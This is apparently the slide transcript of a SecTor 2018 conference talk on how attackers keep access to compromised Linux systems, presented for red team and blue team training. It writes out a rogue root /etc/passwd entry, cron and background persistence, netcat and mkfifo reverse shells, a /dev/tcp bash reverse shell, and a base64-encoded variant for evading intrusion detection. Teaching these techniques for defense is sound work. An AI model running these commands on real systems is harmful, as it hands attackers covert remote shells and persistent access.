Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in...

68
Popping the Penguin Basic methods for maintaining access in compromised Linux systems

Transcript of Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in...

Page 1: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Popping the PenguinBasic methods for maintaining access in compromised Linux systems

Page 2: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

MeJunior security consultant with VioPoint

Former Linux engineer

Twitter@b31tf4c3

Freenode (#misec / #burbsec)Beltface

Page 3: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Why are we here?Esotericism

Blue Team to Purple

Effectiveness

Paranoia

Page 4: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Abuse v. Use case

Use case – controls based, create value

Abuse case – threat based, protect value

- J Wolfgang Goerlich

Page 5: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Attack Paths

There are scores of different threat modeling techniques and tools.

Do what fits your industry, organization, your team, your skills.

Page 6: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Do what is right for you.But do something.

Page 7: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Sysadmins

Detect Prevent Correct

Page 8: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Sysadmins

Detect – catch attackers in actionPrevent – stop attackersCorrect – raise the costs by disrupting or distracting the attackers

Page 9: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Hackers

Goals can vary

Generally cool people

Known wearers of ski masks

Page 10: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Hackers

Page 11: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

@jwgoerlich

Attack paths

Page 12: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

1. External reconnaissance2. Initial breach3. Escalate privileges4. Persistence5. Internal reconnaissance6. Lateral breach7. Maintain presence8. Achieve objective

Page 13: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

What?Exercise

Use real techniques

Use real objectives

Model a real attack

Test specific controls

Assessment

Use real techniques

Use real objectives

Exec an actual attack

Test overall posture

Page 14: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

What makes a good exercise?

Page 15: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Effective red team exercises focus on high probability abuse cases.

Page 16: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

We’re inSelect a specific stage in the attack path

Assume all prior controls have failed

Test preventative, detective, corrective

Test both the controls and the response

Page 17: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

The fun part

Page 18: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event
Page 19: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Logs

Page 20: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Messages

Page 21: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Secure

Page 22: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Logs: Log shipping

Rsyslog/syslog-ng

Central repoSIEM

Page 23: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Logs: Event Correlation and Mitigation

Page 24: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

User accounts: Going Rogue

/etc/passwd

/etc/shadow

Page 25: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

User accounts: the files

Page 26: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

User accounts: /etc/passwd & shadow

mkikta : 0 : 0 : derp : /root : /bin/bash

pwconv –R /

Page 27: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

User accounts: mitigation

Page 28: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

User accounts: mitigation

Page 29: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Remote Shells

You nc -l 4242 nc [ip] [port] /bin/bashPopped

Box/dev/hda

From this:

To…

Page 30: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

…this

You base64

/dev/tcpPopped

Boxcat while read line

base64 -d

echo $line

base64 -d

/bin/bash

base64&5

inWhile true

Cat in nc -l 4242

Page 31: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Netcat

Connect to open portOpen listening portPort scansTunnelingBanner grabbing…

Page 32: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Listening ports

Page 33: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Listening ports

Popped box - nc -l 4242 (-v)

Attacker’s box - nc [popped ip] [port] (-v)

Page 34: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Reverse connectionsAttackers box - nc –l [port]

Popped box - nc [your IP] [port]

YouPopped

BoxHigh level port

Port 4242

YouPopped

BoxPort 4242

High level port

FORWARD

REVERSE

Page 35: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

But why?

Page 36: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Method 1: & (daemons)

#connect.sh &

Page 37: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Method 2: Crontab

/etc/crontab (system wide)

/var/spool/cron/crontabs (user-specific)

Page 38: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Method 2: Crontab (syntax)

Minute Hour Day of Month Month Day of Week Command0 2 12 * 0,6 reboot

Page 39: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Method 2: Crontab (syntax)

Page 40: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

What’s the point of all this?

Page 41: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection

Bash-Bourne Again SHell

Flow based programs

Page 42: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: output

Page 43: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: output

Page 44: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: output

Page 45: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: the pipe

Page 46: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: input

Page 47: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: identifying files

exec 5<> [file]

Page 48: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: using IDs

Page 49: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: the not so basic

mkfifo awesome

Page 50: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

I/O redirection: execution

$mkfifo /dev/hda$nc [your ip] [port] </dev/hda | /bin/bash &>/dev/hda

You nc -l 4242 nc [ip] [port] /bin/bashPopped

Box/dev/hda

Page 51: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

/dev/tcp

Page 52: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

/dev/tcp – the command

exec 5<> /dev/tcp/[ip]/[port]; cat <&5 | while read line; do $line 2>&5 >&5; done

Page 53: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

exec

exec /dev/tcp/[ip]/[port]

exec 5<> /dev/tcp/[ip]/[port]

/dev/tcp – initiation

Page 54: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

cat <&5

while read line; do $line; done

2>&5

>&5

cat <&5 | while read line; do $line 2>&5 >&5; done

/dev/tcp – execution

Page 55: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

/dev/tcp – the flow

You nc -l 4242 /dev/tcp(&5)

Popped Box

cat while read line

$line

You nc -l 4242 nc [ip] [port] /bin/bashPopped

Box/dev/hda

/dev/tcp

netcat

Page 56: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

/dev/tcp – the result

Page 57: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Almost there!

Page 58: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Better IDS/IPS evasion

Encoded commands

Base64

Page 59: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

IDS/IPS evasion: base64 (listener)

mkfifo in; while true; do cat in; done | nc –l 4242 | base64 –d &echo “$command” | base64 > in

You base64echo $line

base64 -d

inWhile true

Cat in nc -l 4242

Page 60: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

IDS/IPS evasion: base64 (execution)

exec 5<> /dev/tcp/[ip]/[port]; cat <&5 | while read line; do echo “$line” | base64 -d | bash | base64 2>&5 >&5; done

/dev/tcpPopped

Boxcat while read line

base64 -d

/bin/bash

base64&5

Page 61: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

You base64

/dev/tcpPopped

Boxcat while read line

base64 -d

echo $line

base64 -d

/bin/bash

base64&5

inWhile true

Cat in nc -l 4242

Page 62: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event
Page 63: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event
Page 64: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Reverse shell: mitigation

Stateful packet inspection

Configuration control

Awareness

Page 65: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Wrapping it all up: Mitigation

Page 66: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Wrapping it all up: Mitigation

Page 67: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Do what is right for you.But do something.

Page 68: Popping the Penguin - SecTor 2018 · Popping the Penguin Basic methods for maintaining access in compromised Linux systems. Me ... Rsyslog/syslog-ng Central repo SIEM. Logs: Event

Resources

http://www.gnucitizen.org/blog/reverse-shell-with-bash/

All the awesome members of #misec, #burbsec, and the hacker community at large

http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

http://www.tldp.org/LDP/abs/html/io-redirection.html